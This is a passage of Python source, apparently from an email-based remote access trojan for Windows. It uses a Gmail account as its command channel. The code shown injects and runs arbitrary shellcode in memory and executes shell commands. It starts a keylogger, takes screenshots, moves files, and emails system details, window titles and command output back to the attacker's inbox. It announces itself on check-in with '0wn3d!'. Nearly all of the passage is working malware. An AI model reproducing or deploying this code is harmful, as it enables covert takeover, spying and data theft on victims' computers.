407 | self.start() 408 | 409 | def run(self): 410 | try: 411 | ctypes.windll.user32.LockWorkStation() 412 | sendEmail({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid) 413 | except Exception as e: 414 | #if verbose == True: print print_exc() 415 | pass 416 | 417 | class execShellcode(threading.Thread): 418 | 419 | def __init__(self, shellc, jobid): 420 | threading.Thread.__init__(self) 421 | self.shellc = shellc 422 | self.jobid = jobid 423 | 424 | self.daemon = True 425 | self.start() 426 | 427 | def run(self): 428 | try: 429 | shellcode = bytearray(self.shellc) 430 | 431 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 432 | ctypes.c_int(len(shellcode)), 433 | ctypes.c_int(0x3000), 434 | ctypes.c_int(0x40)) 435 | 436 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 437 | 438 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 439 | 440 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 441 | ctypes.c_int(0), 442 | ctypes.c_int(ptr), 443 | ctypes.c_int(0), 444 | ctypes.c_int(0), 445 | ctypes.pointer(ctypes.c_int(0))) 446 | 447 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 448 | 449 | except Exception as e: 450 | #if verbose == True: print_exc() 451 | pass 452 | 453 | class execCmd(threading.Thread): 454 | 455 | def __init__(self, command, jobid): 456 | threading.Thread.__init__(self) 457 | self.command = command 458 | self.jobid = jobid 459 | 460 | self.daemon = True 461 | self.start() 462 | 463 | def run(self): 464 | try: 465 | proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 466 | stdout_value = proc.stdout.read() 467 | stdout_value += proc.stderr.read() 468 | 469 | sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid) 470 | except Exception as e: 471 | #if verbose == True: print_exc() 472 | pass 473 | 474 | def genRandomString(slen=10): 475 | return ''.join(random.sample(string.ascii_letters + string.digits, slen)) 476 | 477 | def isAdmin(): 478 | return ctypes.windll.shell32.IsUserAnAdmin() 479 | 480 | def getSysinfo(): 481 | return '{}-{}'.format(platform.platform(), os.environ['PROCESSOR_ARCHITECTURE']) 482 | 483 | def detectForgroundWindows(): 484 | #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/ 485 | EnumWindows = ctypes.windll.user32.EnumWindows 486 | EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) 487 | GetWindowText = ctypes.windll.user32.GetWindowTextW 488 | GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW 489 | IsWindowVisible = ctypes.windll.user32.IsWindowVisible 490 | 491 | titles = [] 492 | def foreach_window(hwnd, lParam): 493 | if IsWindowVisible(hwnd): 494 | length = GetWindowTextLength(hwnd) 495 | buff = ctypes.create_unicode_buffer(length + 1) 496 | GetWindowText(hwnd, buff, length + 1) 497 | titles.append(buff.value) 498 | return True 499 | 500 | EnumWindows(EnumWindowsProc(foreach_window), 0) 501 | 502 | return titles 503 | 504 | class sendEmail(threading.Thread): 505 | 506 | def __init__(self, text, jobid='', attachment=[], checkin=False): 507 | threading.Thread.__init__(self) 508 | self.text = text 509 | self.jobid = jobid 510 | self.attachment = attachment 511 | self.checkin = checkin 512 | self.daemon = True 513 | self.start() 514 | 515 | def run(self): 516 | sub_header = uniqueid 517 | if self.jobid: 518 | sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid) 519 | elif self.checkin: 520 | sub_header = 'checkin:{}'.format(uniqueid) 521 | 522 | msg = MIMEMultipart() 523 | msg['From'] = sub_header 524 | msg['To'] = gmail_user 525 | msg['Subject'] = sub_header 526 | 527 | message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text}) 528 | msg.attach(MIMEText(str(message_content))) 529 | 530 | for attach in self.attachment: 531 | if os.path.exists(attach) == True: 532 | part = MIMEBase('application', 'octet-stream') 533 | part.set_payload(open(attach, 'rb').read()) 534 | Encoders.encode_base64(part) 535 | part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) 536 | msg.attach(part) 537 | 538 | while True: 539 | try: 540 | mailServer = SMTP() 541 | mailServer.connect(server, server_port) 542 | mailServer.starttls() 543 | mailServer.login(gmail_user,gmail_pwd) 544 | mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) 545 | mailServer.quit() 546 | break 547 | except Exception as e: 548 | #if verbose == True: print_exc() 549 | time.sleep(10) 550 | 551 | def checkJobs(): 552 | #Here we check the inbox for queued jobs, parse them and start a thread 553 | 554 | while True: 555 | 556 | try: 557 | c = imaplib.IMAP4_SSL(server) 558 | c.login(gmail_user, gmail_pwd) 559 | c.select("INBOX") 560 | 561 | typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid)) 562 | 563 | for msg_id in id_list[0].split(): 564 | 565 | #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id)) 566 | 567 | msg_data = c.uid('fetch', msg_id, '(RFC822)') 568 | msg = msgparser(msg_data) 569 | jobid = msg.subject.split(':')[2] 570 | 571 | if msg.dict: 572 | cmd = msg.dict['cmd'].lower() 573 | arg = msg.dict['arg'] 574 | 575 | #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid)) 576 | 577 | if cmd == 'execshellcode': 578 | execShellcode(arg, jobid) 579 | 580 | elif cmd == 'download': 581 | download(jobid, arg) 582 | 583 | elif cmd == 'upload': 584 | upload(jobid, arg, msg.attachment) 585 | 586 | elif cmd == 'screenshot': 587 | screenshot(jobid) 588 | 589 | elif cmd == 'cmd': 590 | execCmd(arg, jobid) 591 | 592 | elif cmd == 'lockscreen': 593 | lockScreen(jobid) 594 | 595 | elif cmd == 'startkeylogger': 596 | keylogger.exit = False 597 | keylogger(jobid) 598 | 599 | elif cmd == 'stopkeylogger': 600 | keylogger.exit = True 601 | 602 | elif cmd == 'forcecheckin': 603 | sendEmail("Host checking in as requested", checkin=True) 604 | 605 | else: 606 | raise NotImplementedError 607 | 608 | c.logout() 609 | 610 | time.sleep(10) 611 | 612 | except Exception as e: 613 | #logging.debug(format_exc()) 614 | time.sleep(10) 615 | 616 | if __name__ == '__main__': 617 | sendEmail("0wn3d!", checkin=True) 618 | try: 619 | checkJobs() 620 | except KeyboardInterrupt: 621 | pass 622 | --------------------------------------------------------------------------------